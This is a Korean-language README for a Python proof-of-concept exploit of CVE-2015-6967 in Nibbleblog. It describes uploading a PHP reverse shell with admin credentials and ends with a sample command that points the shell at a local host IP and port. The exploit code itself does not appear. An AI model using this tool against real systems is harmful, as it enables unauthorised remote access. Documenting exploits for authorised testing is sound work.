CVE-2015-6967-EXPLOIT

CVE-2015-6967 PoC 익스플로잇

이 Python 스크립트는 Nibbleblog의 취약점(CVE-2015-6967)을 악용하여 취약한 대상에 리버스 셸을 업로드합니다. 스크립트는 대상 URL, 사용자 자격 증명, 사용자의 호스트 IP/포트를 입력받아 PHP 리버스 셸을 업로드하여 취약점을 익스플로잇합니다.

면책 조항

이 스크립트는 교육 목적으로만 제공됩니다. 불법적인 활동에 사용하지 마십시오. 소유하지 않거나 테스트 권한이 없는 시스템의 취약점을 테스트하거나 익스플로잇하기 전에 항상 명시적 허가를 받으십시오.

요구 사항

• Python 3.x
• requests 라이브러리
• argparse 라이브러리
• colorama 라이브러리
• pyfiglet 라이브러리

다음 명령어를 사용하여 필요한 종속성을 설치할 수 있습니다:

pip install requests colorama pyfiglet

사용법

스크립트를 실행하려면 여러 매개변수가 필요합니다:

• url: 대상 Nibbleblog URL (예: http://10.10.14.14/nibbleblog)
• -U, --user: Nibbleblog 관리자 사용자 이름
• -P, --password: Nibbleblog 관리자 비밀번호
• -p, --host-port: 리버스 셸 연결을 위한 로컬 포트
• -H, --host-ip: 리버스 셸 연결을 위한 로컬 IP 주소

예시

python exploit.py http://10.10.14.14/nibbleblog -U admin -P password123 -p 4444 -H 192.168.1.100